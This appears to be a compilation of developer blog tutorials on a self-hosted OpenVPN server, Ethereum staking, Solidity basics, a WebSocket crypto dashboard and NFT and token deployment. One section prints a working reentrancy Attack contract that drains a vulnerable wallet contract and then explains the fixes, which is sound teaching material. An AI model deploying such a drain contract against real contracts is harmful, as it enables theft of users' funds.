As the world around us gets more and more intertwined with the World Wide Web, the need to secure our Internet experience has never been more important than ever. With the rise of IOT (Internet of Things), we are seeing an increasingly digitalized world where almost everything has to be connected to the Internet to perform basic functions. The way the internet works, when we connect to the internet our ISPs(Internet Service Providers) allocate what is known as an IP address, an IP address can be easily described as an address used to identify a device on the internet, similar to the home address of an individual, which a postman uses to determine where specific letters (in digital terms packets of data) are eventually directed and sent to.

The major problem with surfing on the internet is that many times our browsing activities and transactions can be easily accessed and manipulated by malicious actors and hackers, this is where a VPN comes in, a VPN stands for Virtual Private Network it is used to encrypt and anonymize our activities on the web. , many users and organizations use it to secure their online activities that could be easily subjected to a cyberattack, many also use it to escape the limitation of location-based IP restrictions. VPN services are in quite demand, I will do a walkthrough on how we can easily build our own custom VPN server with the help of an opensource tool(OpenVPN) and using a cloud platform

We can create a server on any of the popular cloud platforms, most of these platforms offer basic free credits for the first few months of usage, I will demonstrate with the Azure cloud platform but it is basically the same step on other cloud platforms, we will create a compute instance where the OpenVPN tool is preinstalled using the OpenVPN Access Server, the tool has a free tier that allows for two VPN connections it can be easily accessed from the marketplace of any of the cloud platforms, a simple instance without much computing power will do the job.

Setup Guide

From the Azure portal, search for 'Marketplace', after navigating to Azure MarketPlace, search for OpenVPN, you will see the OpenVPN Access Server service

When the service has been selected, create an administrator username and password for the instance. you can leave most of the default settings the same, with Azure there is an option to enable auto shutdown keep that off to enable our VPN to be always available.

Once the instance has been created copy the public IP address it will be used to configure the OpenVPN server, after this is done SSH into the compute instance with your details.

 ssh openvpn@192.174.232.165

Read and accept the OpenVPN agreement and allow the default settings to be used, you can choose when you come to this option to create a different admin profile.

When this is all done, log into the OpenVPN Server admin section with your public IP address.

When inside, change the hostname to reflect your public IP address and save the settings. This is crucial to the VPN functionality as it should not be connected to a different IP address.

After this is done, download the client software on your system or device and download your VPN user profile which will configure the client profile.

Input your password and connect to the VPN

You should be able to connect to the internet with the VPN server, now if you check your IP it should be the same as the one on your VPN profile.

Awesome! Your VPN is now up and running! This can also be further configured to fit your custom needs and requirements. Let me know in the comment section if you have any feedback or ideas about it.

The role of the miners is replaced with network validators, in other to be a validator you have to lock up 32 ETH in the network, the valdators are then randomly selected to start new blocks and verify transactions , if a validator is found liable of sabotage or collusion he loses a part of or all ofh is staked tokens in a process called slashing and for every successful validation he is rewarded accordingly.

Types of Staking

Here are some of the different types of staking being done at the moment;

Solo Home staking:This is the most decentralized form of staking, you operate your own Ethereum node by providing your hardware and operating the necessary software for the validation services on the blockchain, apart from providing the compulsory 32 ETH this requires a dedicated computer and a sound understanding of how the network works.

Staking as a service: In the case where not everyone has the necessary technical knowhow or the hardware requirements all they have to do is to signup with a staking provider service and deposit the 32 ETH, the provider will then carry out the uses validators duties on their behalf usually at a particular fee.

Pooled Staking: Many might not be able to provide up to 32 ETH to establish a single validator node, there are services that allow users to contribute their deposits and manage them on their behalf. Other forms of this also include staking with popular centralized exchanges like Binanace, Coinbase, etc.

Since the Shanghai upgrade which allows for stakes to now be withdrawn, we have seen an increase in deposits for staking on Ethereum, this shows that there is an increased interest by users in staking and its earning potential. With the rise of staking pools which now account for a third of the total stakes on Ethereum, many fear the potential risk this poses by increasingly centralizing the network, one thing is for sure many people are beginning to see the intrinsic value that this technology has and desire to play a vital role in its future.

The following code example is a classic case of a Reentracy attack

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;



contract EtherWallet {
    mapping(address => uint) public balances; // user's balances

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

contract Attack {
    EtherWallet public etherWallet;

    constructor(address _etherWalletAddress) {
        etherWallet = EtherWallet(_etherWalletAddress);
    }

    // Fallback is called when EtherWallet sends Ether to this contract.
    fallback() external payable {
        if (address(etherWallet).balance >= 1 ether) {
            etherWallet.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherWallet.deposit{value: 1 ether}();
        etherWallet.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

There are two contracts in the above example the first one etherWallet, acts as a simple bank where users can deposit and withdraw their ethers. The second contract Attack is initialized with the etherWallet contract address, it has an attack function that when called, first invokes the etherWallet.deposit function to deposit 1 ether, it then moves to run etherWallet.withdraw function, which sends the 1 ether back to the Attack address,

function attack() external payable {
        require(msg.value >= 1 ether);
        etherWallet.deposit{value: 1 ether}();
        etherWallet.withdraw();
    }

the function that receives the withdrawal is the fallback function which has another etherWallet.withdraw function within it, since the etherWallet contract hasn't updated the user balance for the Attack contract, it stills reads its balance as having 1 ether, this continues as a recursive loop until the etherWallet balance is completely drained.

fallback() external payable {
        if (address(etherWallet).balance >= 1 ether) {
            etherWallet.withdraw();
        }
    }

Stopping the Hack

A simple way of solving this will be to make sure the withdraw function updates the user's balance before sending the funds

function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);
        balances[msg.sender] = 0; //Updated balance before sending
        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");


    }

Another way is creating a function modifier that locks the withdrawal function when it is still being called and doesn't allow a concurrent call on it

contract ReEntrancyLock {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

OpenZeppelin has a ready-made implementation of a ReentracyGuard that can be easily integrated into your projects. One can clearly see that detailed attention and care must be put into building fault-tolerant applications that users can commit their precious funds into. Stay safe!

This is in stark contrast to the traditional HTTP protocol that allows for a oneway call and response to the server, there are use cases for certain solutions where data on the server side changes rapidly, for these changes to be appropriately reflected, repeated calls to the server has to be made. This method clearly proves to be inefficient in cases that require fast-changing data such as live video streaming, stock, cryptocurrency trading, etc, WebSocket is the best technology to be implemented.

To demonstrate this, we'll implement the WebSocket API to build a real-time Cryptocurrency Tracker. For real-time data around the prices of certain cryptocurrencies, we would be using the Binance WebSocket API.

Single Currency Example

After initiating the basic variables, we use the WebSocket address to create the connection, the onmessage function listens for a message event which is then parsed to get our price property.

Here is the code sample to get the price stream for ETH to USD

//Web socket ethusd stream
let ws= new WebSocket('wss://stream.binance.com:9443/ws/ethusdt@trade');


let ethUsdt= document.getElementById('eth');
let lastPrice = null;

let price= null;

//Recieves a message event and parses it as a JSON object
ws.onmessage= (event) =>{
    let eventData = JSON.parse(event.data);

        price=parseFloat(eventData.p).toFixed(2); //parses the price property and rounds it up to two decimal places

    ethUsdt.innerText=price;
}

Here it isimplemented on Codepen

What of scenarios were we are watching for multiple currencies? From the Binance API guide, the WebSocket address will take this form, wss://stream.binance.us:9443/stream?streams=<streamName1>/<streamName2>/<streamName3> where each stream represents a currency pair.

Full Dashboard Integration

We will use a dashboard template to display the price stream for Bitcoin, Ethereum, Ripple, and Litecoin.

The WebSocket connection now streams in the message events for the various currency pairs, we'll create conditions to assign the proper currency events to their respective price variables.

//Binance multicurrency stream
let ws= new WebSocket('wss://stream.binance.com/stream?streams=ethusdt@trade/btcusdt@trade/xrpusdt@trade/ltcusdt@trade');
// we intialize the variables to hold our prices
let ethUsdt= document.getElementById('eth');
let lastPrice = null;
let btcUsdt= document.getElementById('btc');
let btclastPrice = null;
let xrpUsdt= document.getElementById('xrp');
let xrplastPrice = null;
let ltcUsdt= document.getElementById('ltc');
let ltclastPrice = null;
let price= null;
let btcprice= null;
let xrpprice= null;
let ltcprice= null;
let collection = document.getElementsByClassName("bi");

//Recieves a message event and parses it as a JSON object
ws.onmessage= (event) =>{
    let eventData = JSON.parse(event.data);
// these conditions assigns the various currency prices based on the currency pair
    if (eventData.stream=='ethusdt@trade'){
        price=parseFloat(eventData.data.p).toFixed(2);



    }
    else if(eventData.stream=='btcusdt@trade'){
        btcprice=parseFloat(eventData.data.p).toFixed(2);


    }
    else if(eventData.stream=='xrpusdt@trade'){
        xrpprice=parseFloat(eventData.data.p).toFixed(3);


    }
    else if(eventData.stream=='ltcusdt@trade'){
        ltcprice=parseFloat(eventData.data.p).toFixed(2);


    }


    ethUsdt.innerText=price;

For monitoring the changing prices on the dashboard, we'll use Font Awesome caret up and down icons to give visual indicators about whether the value of the prices is going up or down, an <i> element whose classes are dynamically changed will be used for this purpose.

<div class="row m-t-25">
                <div class="col-lg-3">
                    <div class="card currency-card-rounded">
                        <div class="card-body rounded bitcoin">
                            <div class="currency-card--icon pull-right">
                                <i class="cc BTC-alt" title="BTC"></i>
                            </div>
                            <h4>Bitcoin</h4>
                            <h2>
                                $<span id="btc">1.765</span> <i class="bi "></i>
                            </h2>

                        </div>
                    </div>
                </div>
                <div class="col-lg-3">
                    <div class="card currency-card-rounded">
                        <div class="card-body rounded ethereum">
                            <div class="currency-card--icon pull-right">
                                <i class="cc ETH-alt" title="ETH"></i>
                            </div>
                            <h4>Ethereum</h4>
                            <h2>
                                $<span id="eth">1.765</span> <i class="bi "></i>
                            </h2>

                        </div>
                    </div>
                </div>
                <div class="col-lg-3">
                    <div class="card currency-card-rounded">
                        <div class="card-body rounded ripple">
                            <div class="currency-card--icon pull-right">
                                <i class="cc XRP-alt" title="XRP"></i>
                            </div>
                            <h4>Ripple</h4>
                            <h2>
                                $<span id="xrp">1.765</span> <i class="bi "></i>
                            </h2>

                        </div>
                    </div>
                </div>
                <div class="col-lg-3">
                    <div class="card currency-card-rounded">
                        <div class="card-body rounded litecoin">
                            <div class="currency-card--icon pull-right">
                                <i class="cc LTC-alt" title="LTC"></i>
                            </div>
                            <h4>Litecoin</h4>
                            <h2>
                                $<span id="ltc">1.765</span> <i class="bi "></i>
                            </h2>

                        </div>
                    </div>
                </div>
            </div>

We'll then include the rest of the Javascript code that allows for this functionality.

// let ws= new WebSocket('wss://stream.binance.com:9443/ws/ethusdt@trade');
let ws= new WebSocket('wss://stream.binance.com/stream?streams=ethusdt@trade/btcusdt@trade/xrpusdt@trade/ltcusdt@trade');

let ethUsdt= document.getElementById('eth');
let lastPrice = null;
let btcUsdt= document.getElementById('btc');
let btclastPrice = null;
let xrpUsdt= document.getElementById('xrp');
let xrplastPrice = null;
let ltcUsdt= document.getElementById('ltc');
let ltclastPrice = null;
let price= null;
let btcprice= null;
let xrpprice= null;
let ltcprice= null;
let collection = document.getElementsByClassName("bi"); //holds the array of <i> elements

ws.onmessage= (event) =>{
    let eventData = JSON.parse(event.data);
    if (eventData.stream=='ethusdt@trade'){
        price=parseFloat(eventData.data.p).toFixed(2);



    }
    else if(eventData.stream=='btcusdt@trade'){
        btcprice=parseFloat(eventData.data.p).toFixed(2);


    }
    else if(eventData.stream=='xrpusdt@trade'){
        xrpprice=parseFloat(eventData.data.p).toFixed(3);


    }
    else if(eventData.stream=='ltcusdt@trade'){
        ltcprice=parseFloat(eventData.data.p).toFixed(2);


    }


    ethUsdt.innerText=price;

    // conditions to add the caret icons
   if (price>lastPrice){
    collection[0].classList.remove("bi-caret-down-fill");
    collection[0].classList.add( "bi-caret-up-fill" );
    collection[0].style.color='green';
   }
   else if (price<lastPrice){
    collection[0].classList.remove("bi-caret-up-fill");
    collection[0].classList.add( "bi-caret-down-fill" );
    collection[0].style.color='red';
   }


    lastPrice=price; // after the conditons are fulfilled the value of the lastprice is changed to the current price

    btcUsdt.innerText=btcprice;

    if (btcprice>btclastPrice){
        collection[1].classList.remove("bi-caret-down-fill");
        collection[1].classList.add( "bi-caret-up-fill" );
        collection[1].style.color='green';
       }
       else if (btcprice<btclastPrice){
        collection[1].classList.remove("bi-caret-up-fill");
        collection[1].classList.add( "bi-caret-down-fill" );
        collection[1].style.color='red';
       }    

    btclastPrice=btcprice;

    xrpUsdt.innerText=xrpprice;

    if (xrpprice>xrplastPrice){
        collection[2].classList.remove("bi-caret-down-fill");
        collection[2].classList.add( "bi-caret-up-fill" );
        collection[2].style.color='green';
       }
       else if (xrpprice<xrplastPrice){
        collection[2].classList.remove("bi-caret-up-fill");
        collection[2].classList.add( "bi-caret-down-fill" );
        collection[2].style.color='red';
       }

    xrplastPrice=xrpprice;

    ltcUsdt.innerText=ltcprice;

    if (ltcprice>ltclastPrice){
        collection[3].classList.remove("bi-caret-down-fill");
        collection[3].classList.add( "bi-caret-up-fill" );
        collection[3].style.color='green';
       }
       else if (ltcprice<ltclastPrice){
        collection[3].classList.remove("bi-caret-up-fill");
        collection[3].classList.add( "bi-caret-down-fill" );
        collection[3].style.color='red';
       }

    ltclastPrice=ltcprice;


}

And voila! we have our real-time dashboard, the link to the full code is in this repo

Awesome! We have demonstrated the practical use of WebSockets in building a real-time cryptocurrency dashboard, what project ideas do you have that this technology will prove to be valuable? Let me know in the comments section.

Project Setup

mkdir MikNFT
cd MikNFT
npm init -y

npm install --save-dev hardhat
npx hardhat

npm i @openzeppelin/contracts

The code below imports the ERC721 library and inherits all the function implementation for ERC721, it also uses the Counters library which will be used for counting the number of tokens and giving each a unique positive integer value.

The contract is initialized with the name and symbol for the token the mintNFT function takes into two parameters the address where the NFT will be sent and the tokenURI which gives the metadata description of the token, it then returns the unique integer id of the token

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/utils/Counters.sol";

contract MikNFT is ERC721URIStorage {
    using Counters for Counters.Counter;
    Counters.Counter private _tokenIds;

    constructor() ERC721("MikNFT", "NFT") {}

    function mintNFT(address recipient, string memory tokenURI)
        public

        returns (uint256)
    {
        _tokenIds.increment();

        uint256 newItemId = _tokenIds.current();
        _mint(recipient, newItemId);
        _setTokenURI(newItemId, tokenURI);

        return newItemId;
    }
}

after it has successfully complied with this command,

npx hardhat compile

we'll install the dotenv package to enable us to interact with our environment variables. The environment variables that will be used are the wallet private key, API_URL, and API_KEY, these will be kept in a .env file that will be added to the project's .gitignore list as these variables are quite sensitive and are not to be uploaded to a public repository.

npm install dotenv --save

API_URL = "https://eth-goerli.g.alchemy.com/v2/api-key"
PRIVATE_KEY = "metamask-private-key"
API_KEY = "api-key"

We'll go straight ahead to create our hardhat.config.js in the root folder and deploy.js in the scripts folder respectively, the deploy.js script uses the Ethers.js library to handle the deployment of our smart contract.

require('dotenv').config();
require("@nomiclabs/hardhat-ethers");


const { API_URL, PRIVATE_KEY } = process.env;

module.exports = {
  solidity: "0.8.17",
  defaultNetwork: "goerli",
  networks: {
    hardhat: {},
    goerli: {
       url: API_URL,
       accounts: [`0x${PRIVATE_KEY}`]
    }
 },
};

async function main() {

// Grab Contract Factory
  const MikNFT = await ethers.getContractFactory("MikNFT");

     // Start deployment, returning a promise that resolves to a contract object
  const mikNFT= await MikNFT.deploy(); // Instance of the contract 

  console.log(
    "Contract deployed to address:", mikNFT.address );
}

// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.
main()
.then(()=> process.exit(0))
.catch((error) => {
  console.error(error);
  process.exit(1);
});

Let's deploy the smart contract on the goerli testnet

npx hardhat run scripts/deploy.js --network goerli

At the end of the deployment, the contract address will be shown, this is what we'll use to check the details of our transaction on goerli etherscan

Contract deployed to address: 0x52Fb82C6D01F4077F18508C1ab59560c651A9099

You have successfully deployed your NFT smart contract! The next step is to use the contract to mint an NFT

Minting NFT

So we will decide what we want to put up as an NFT, I 'dreamed' up a really cool art piece using an AI image generation tool called Wombo, you can check it out.

The primary way to store NFTs is on IPFS(Interplanetary File System) platforms which are decentralized file-sharing networks for keeping data. We'll use Pinata for our example. After creating an account on the platform, we'll upload our image and copy the hash code or content identifier that was generated from the successful upload, the address of the image will be represented like this https://gateway.pinata.cloud/ipfs/<hash-code>

Then go ahead to create a nft-metadata.json file that provides all the vital attributes for your NFT, make sure the image points to the address of the image, and when this is done make sure this is also uploaded to Pinata and the URL address noted.

{
    "attributes" : [ {
      "trait_type" : "Background",
      "value" : "forest"
    }, {
      "trait_type" : "flag",
      "value" : "Nigeria"
    } ],
    "description" : "car moving in a country background, flag seen in the skyline, locally dressed man",
    "image" : "https://gateway.pinata.cloud/ipfs/Qmcp8yj1rBBSJAHmUq3rd3oYF5Uhy2ftBLGLGG4SpPSvzP",
    "name" : "Nairaland"
}

we then create a mint-nft.js file that will execute the minting of our NFT, we'll use the contracts' ABI for that, the ABI is a json formatted interface used to interact with the contract, it is automatically generated by hardhat when the contract is compiled, the ABI for this contract is generated in this location.

const contract = require("../artifacts/contracts/MikNFT.sol/MikNFT.json");

the contract will use the ether library to connect with our node provider using our API key earlier defined in our .env file, it will also use the wallet's private key, the contract's address and the contract's abi to define the contract

require('dotenv').config();
const { AlchemyProvider } = require('@ethersproject/providers');
const ethers= require('ethers');

// Get Alchemy API key
const API_KEY= process.env.API_KEY;
// Define an Alchemy Provider
const provider= new ethers.providers.AlchemyProvider('goerli', API_KEY);

const privateKey=process.env.PRIVATE_KEY;
const signer= new ethers.Wallet(privateKey, provider);
// Get contract ABI and address
const abi=contract.abi;
const contractAddress='0x52fb82c6d01f4077f18508c1ab59560c651a9099';

// Create a contract instance
const myNftContract= new ethers.Contract(contractAddress, abi, signer);

the tokenURI for our NFT image will now be used and defined in our script, this is how the final version of our mint-nft.js script will look like

const contract = require("../artifacts/contracts/MikNFT.sol/MikNFT.json");
require('dotenv').config();
const { AlchemyProvider } = require('@ethersproject/providers');
const ethers= require('ethers');

// Get Alchemy API key
const API_KEY= process.env.API_KEY;
// Define an Alchemy Provider
const provider= new ethers.providers.AlchemyProvider('goerli', API_KEY);




const privateKey=process.env.PRIVATE_KEY;
const signer= new ethers.Wallet(privateKey, provider);

// Get contract ABI and address
const abi=contract.abi;
const contractAddress='0x52fb82c6d01f4077f18508c1ab59560c651a9099';

// Create a contract instance
const myNftContract= new ethers.Contract(contractAddress, abi, signer);

const tokenUri= "https://gateway.pinata.cloud/ipfs/QmQRJK9mMtueyJN9APfQGCdsT1pHELZ9dKN1mcjaRV8qHo";

// Call mintNFT function
const mintNFT = async () => {
    let nftTxn = await myNftContract.mintNFT(signer.address, tokenUri)
    await nftTxn.wait()
    console.log(`NFT Minted! Check it out at: https://goerli.etherscan.io/tx/${nftTxn.hash}`)
}

mintNFT()
    .then(() => process.exit(0))
    .catch((error) => {
        console.error(error);
        process.exit(1);
    });

run the below command to execute our script

node scripts/mint-nft.js

Our output will be like this

NFT Minted! Check it out at: https://goerli.etherscan.io/tx/0x907e775d3b45507eb17af5bd97b65c58457b7354354157c7ef148e32f2f8f31c

Awesome! what cool NFT project can you spin-off? Happy NFTing!

To get this done we'll need a decentralized wallet like Metamask and a web3 node provider like Alchemy. An Ethereum development environment like Truffle or hardhat plays an essential role in producing a smooth code-building experience we'll use Hardhat to write, configure and deploy our solidity code for this exercise.

Initializing our project

Make sure you have Node js installed on the system, create and navigate to the token project folder and run npm init to initialize the project

mkdir PokeCoin
cd PokeCoin
npm init -y

Install and create hardhat project

npm install --save-dev hardhat
npx hardhat

A welcome message and some options will be shown, go ahead to select ' Create a JavaScript Project'. Delete the default Lock.sol and Lock.js files in the contracts and test folders respectively.

Install the openzeppelin library with the below command to access the ERC20 standard that will be imported to create our token

npm i @openzeppelin/contracts

Under the contract folder create a file called PokeCoin.sol, this is where we'll write the smart contract that implements our PokeCoin token. The contract is quite self-explanatory, the first two lines specify the license type of the contract and the solidity compiler version to be used for the file, the ERC20 library is then imported and then immediately inherited by the PokeCoin contract, the token name and symbol are then loaded and then passed through the constructor parameters, we'll go ahead to use the base function mint in the ERC20 contract, this will mint the initial desired amount of token and send it to the creator's wallet.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;

 import "@openzeppelin/contracts/token/ERC20/ERC20.sol";


contract PokeCoin is ERC20{

    uint constant _initial_supply= 100 * (10**18); // Initial deposit in creators wallet 

    constructor() ERC20("PokeCoin", "POK")  { // Token description

        _mint(msg.sender, _initial_supply);

    }

}

Connect Wallet and Node Provider

We'll use Metamask as our wallet, and Alchemy as the node provider, our wallet's private key and the unique Alchemy project key, these will be stored and used in a .env file for the deployment and interaction of the contract. Follow these steps to get your Metamask private key and the below image for Alchemy

Make sure when committing this project to your git repository that your .env file is part of the .gitignore list of files and folders as the information there are quite sensitive and could be easily used by hackers to tamper with your accounts.

Create your .env file with this command..

npm install dotenv --save

and put the necessary keys in the .env file like this

API_URL = "https://eth-goerli.g.alchemy.com/v2/your-api-key"
PRIVATE_KEY = "your-metamask-private-key"

Install Ether.js and configure deployment

We'll use the hardhat plugin hardhat-ethers that is integrated with Ethers.js this allows for simple interactions with the Ethereum blockchain

npm install --save-dev @nomiclabs/hardhat-ethers "ethers@^5.0.0"

Then go ahead to configure the hardhat.config.js to require the ether library and the Goerli test network we're going to be using

require("@nomicfoundation/hardhat-toolbox");




require('dotenv').config();
require("@nomiclabs/hardhat-ethers");

const { API_URL, PRIVATE_KEY } = process.env;

module.exports = {
  solidity: "0.8.17",
  defaultNetwork: "goerli",
  networks: {
    hardhat: {},
    goerli: {
       url: API_URL,
       accounts: [`0x${PRIVATE_KEY}`]
    }
 },
};

We can go ahead to compile the solidity file with the command

npx hardhat compile

Once this is successful, we'll configure our deployment script deploy.js to work like this

async function main() {

  const [deployer]= await ethers.getSigners();
  console.log("Deploying contracts with the account: ",deployer.address);
  const weiAmount = (await deployer.getBalance()).toString();

  console.log("Account balance:", (await ethers.utils.formatEther(weiAmount)));
  const Token = await ethers.getContractFactory("Mikoin");
  const token = await Token.deploy();

  console.log("Token Address", token.address);

}

main()
.then(() => process.exit(0))
.catch((error) => {
  console.error(error);
  process.exit(1);
}
)

// We recommend this pattern to be able to use async/await everywhere
// and properly handle errors.

Go ahead to deploy your contract to the goerli testnet

npx hardhat run scripts/deploy.js --network goerli

When the script is run successfully from the deployment script the console output logs the contract address, account balance, and token address. Congratulations! You can check out the record of the goerli transaction using the contract or token address using https://goerli.etherscan.io/. Your custom token has also been sent to your Metamask account. To see your token, use your token's contract address to import your token.

Awesome! What other token functionalities can you implement? Tinker with your smart contract and find out!

That brings us to Xdebug, a PHP extension that changes the entire development feature by enriching it with features like step debugging, improved error reporting, profiling, etc. We will do a step-by-step process for installing Xdebug and using it with Vscode.

Installing Xdebug for PHP

The first step is to determine the root location of the PHP you use for your local development, for me, I have multiple bundled web servers with several versions of PHP, so I had to be specific about the one I was working with to avoid confusion

Using their documentation

For Unix-like systems;

Xdebug can be easily installed using a package manager

Run:

pecl install xdebug

For Windows:

You will need to copy the output of phpinfo() or php -i into their installation wizard, this will give you the right version of Xdebug to install along with some instructions to install it

Carefully follow the above instructions about placing the php_debug.dll file in the ext folder

and edit the php.ini file to add this

zend_extension = xdebug
xdebug.mode    = debug

Run the phpinfo() or php -i again to determine if the extension is operational

then we'll install the Xdebug based extension on Vscode called PHP Debug.

From the Debug tab add configuration and select the PHP environment, this will bring out a launch.json file in the root of the project directory

When you run the debugger you can add breakpoints to the code, these are the points where the code execution is paused and allows the functionalities of stepping over, in, and out of the code line by line. We also glean valuable insights into Stack traces, scope variables, superglobals, and user-defined constants as they are shown at each stage of the execution with the options to edit them, the debug console brings out all the output and relevant logs of the script.

Awesome, we will now see that with the proper debugging environment setup, the whole debugging experience is transformed from a dreaded and burdensome session to a more delightful one enhancing the much-needed productivity of the development process. Happy bug-hunting!

That being said, I have committed this year to invest in more consistent self-development, which involves things like standard software architecture, building projects in public, contributions to open source projects, adhering to clean practices, etc. I believe one of the best ways to cement understandings around certain domains is to teach them or articulate them in a well-written format that will be instructive to others. I look at producing biweekly( once in two weeks) articles inspired by the challenge started by Idris Olubisi https://twitter.com/olanetsoft/status/1606650175799365632. This is a public commitment aimed to foster accountability, I believe it is going to be an interesting and demanding journey, I might stumble around a few things, but I can only get better and better at this, that being said it's time to get to work!

via GIPHY

There are 3 types of variables in Solidity

• local

  • declared inside a function

  • not stored on the blockchain

• state

  • declared outside a function

  • stored on the blockchain

• global (provides information about the blockchain)

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;

contract Variables {
    // State variables are stored on the blockchain.
    string public text = "Hello";
    uint public num = 123;

    function doSomething() public {
        // Local variables are not saved to the blockchain.
        uint i = 456;

        // Here are some global variables
        uint timestamp = block.timestamp; // Current block timestamp
        address sender = msg.sender; // address of the caller
    }
}

• Listening for events and updating user interface

• A cheap form of storage

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;

contract Event {
    // Event declaration
    // Up to 3 parameters can be indexed.
    // Indexed parameters helps you filter the logs by the indexed parameter
    event Log(address indexed sender, string message);
    event AnotherLog();

    function test() public {
        emit Log(msg.sender, "Hello World!");
        emit Log(msg.sender, "Hello EVM!");
        emit AnotherLog();
    }
}

Function that is going to be overridden by a child contract must be declared as virtual.

Function that is going to override a parent function must use the keyword override.

Order of inheritance is important.

You have to list the parent contracts in the order from “most base-like” to “most derived”.

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;

/* Graph of inheritance
    A
   / \
  B   C
 / \ /
F  D,E

*/

contract A {
    function foo() public pure virtual returns (string memory) {
        return "A";
    }
}

// Contracts inherit other contracts by using the keyword 'is'.
contract B is A {
    // Override A.foo()
    function foo() public pure virtual override returns (string memory) {
        return "B";
    }
}

contract C is A {
    // Override A.foo()
    function foo() public pure virtual override returns (string memory) {
        return "C";
    }
}

// Contracts can inherit from multiple parent contracts.
// When a function is called that is defined multiple times in
// different contracts, parent contracts are searched from
// right to left, and in depth-first manner.

contract D is B, C {
    // D.foo() returns "C"
    // since C is the right most parent contract with function foo()
    function foo() public pure override(B, C) returns (string memory) {
        return super.foo();
    }
}

contract E is C, B {
    // E.foo() returns "B"
    // since B is the right most parent contract with function foo()
    function foo() public pure override(C, B) returns (string memory) {
        return super.foo();
    }
}

// Inheritance must be ordered from “most base-like” to “most derived”.
// Swapping the order of A and B will throw a compilation error.
contract F is A, B {
    function foo() public pure override(A, B) returns (string memory) {
        return super.foo();
    }
}

View function declares that no state will be changed.

Pure function declares that no state variable will be changed or read.

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.3;

contract ViewAndPure {
    uint public x = 1;

    // Promise not to modify the state.
    function addToX(uint y) public view returns (uint) {
        return x + y;
    }

    // Promise not to modify or read from the state.
    function add(uint i, uint j) public pure returns (uint) {
        return i + j;
    }
}

This is the beginning of a series of short articles on the fundamentals of the Solidity language, the language is explained in a series of code examples designed to give readers the feel of how the programming language works, learners are encouraged to test code examples on the online Solidity IDE REMIX.

We start with a simple Hello World implementation, the first line tells you that the source code is licensed under the MIT license. Machine-readable license specifiers are essential in a setting where publishing the source code is the default, the pragma keyword specifies the compiler version

// SPDX-License-Identifier: MIT
// compiler version must be greater than or equal to 0.7.3
pragma solidity >=0.7.3;

contract HelloWorld {
    string public greet = "Hello World!";
}

This is the result of the code on Remix

Let's begin by looking at a simple contract program that stores and retrieves the value of a variable on the blockchain.

// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.4.16 <0.9.0;

The first line of code identifies the license in use for the program, the second line is a directive that specifies the version of solidity compilers that should be used for the contract.

The uint (unsigned integer) variable storedData is declared. two functions *set *and *get *are created to alter and return the variable's value.

pragma solidity >=0.4.16 <0.9.0;

contract SimpleStorage {
    uint storedData;

    function set(uint x) public {
        storedData = x;
    }

    function get() public view returns (uint) {
        return storedData;
    }
}

We'll be interacting with our Solidity project with the use of an online Solidity IDE called Remix

Once the contract has been compiled successfully you can deploy and interact with it on the Remix IDE. When the contract has been deployed, under Deployed contracts you will see the name of the contract and the two buttons set and get representing the two functions in the contract which can be used to modify and retrieve the value of the stored variable.

In real-time use cases, contracts are deployed to blockchain networks, let's deploy this contract to the Polygon network, Contracts on the blockchain require a gas fee(cost of making a blockchain transaction) but we'll be using a test network which will not require real money. For us to pay the gas fee we'll be using a cryptocurrency wallet like Metamask , download Metamask here though you can choose to use any other non-custodial wallet. We'll be using the Polygon Mumbai Test network to host our smart contract, To connect your MetaMask Wallet to the Polygon Mumbai Testnet, visit this website https://chainlist.org/ and search for polygon, you'll see the Mumbai option under the search results, go ahead and select it.

Once you have done that, you need to get some test MATICS to start with, you will get it from here. Input your wallet address and voila you've got some cash!

To deploy your contract to the testnet, go to the Remix IDE, and instead of the default JavaScript VM, select Injected Web3.

Your wallet will pop up and require permission, your contract is now deployed and hosted on the Polygon Mumbai Testnet. Congrats on the successful deployment of your smart contract!

The times they are a-changin

as the phrase of a popular song goes, this fits aptly to how digital innovations are changing the way we do things in today's present time. Searches for terms like crypto, blockchains, web3 , have come on an increase as the world seeks to understand some of the shifts that have been ongoing for years now.

One major innovation of these times is known as blockchain technology, what is a blockchain? A blockchain is a system of recording information in a way that makes it difficult or impossible to change (immutable), hack, or cheat the system, it is an architecture that gives participants the ability to share a ledger that's updated through peer-to-peer replication each time a transaction occurs.

This model has gained a lot of traction for its ability to take out the middleman, the traditional methods for recording transactions and tracking assets in the hands of a central figure are made redundant, We have seen how the rise of digital currencies like the bitcoin, ethereum, etc. built on this technology have taken the world by storm.

This brings us back to the center of our discussion.

What is Relsify and what do they offer?

Relsify is a property technology company incorporating blockchain technology to provide quality real estate experience by solving decades of real-time problems in the region (Africa). They plan to undertake this by taking physical real estate assets representing them as unique blockchain-based digital assets (security tokens) giving access to many to have fractional investments and stakes while also providing the liquidity and funding required by real estate developers. Taking Nigeria a country in Africa as an example, the country is faced with several crippling challenges in its real estate sector:

• There is a huge housing and developmental deficit, a place like Lagos the economic capital of Nigeria has a shortfall of housing units to cater to its teeming population.

• Limited access to funding by real estate developers

• Poor document authenticity around properties often gives rise to disputes

• Low foreign investments, as many have fears of doing business and have to resort to trying to find a trusted middleman

The Relsify Process

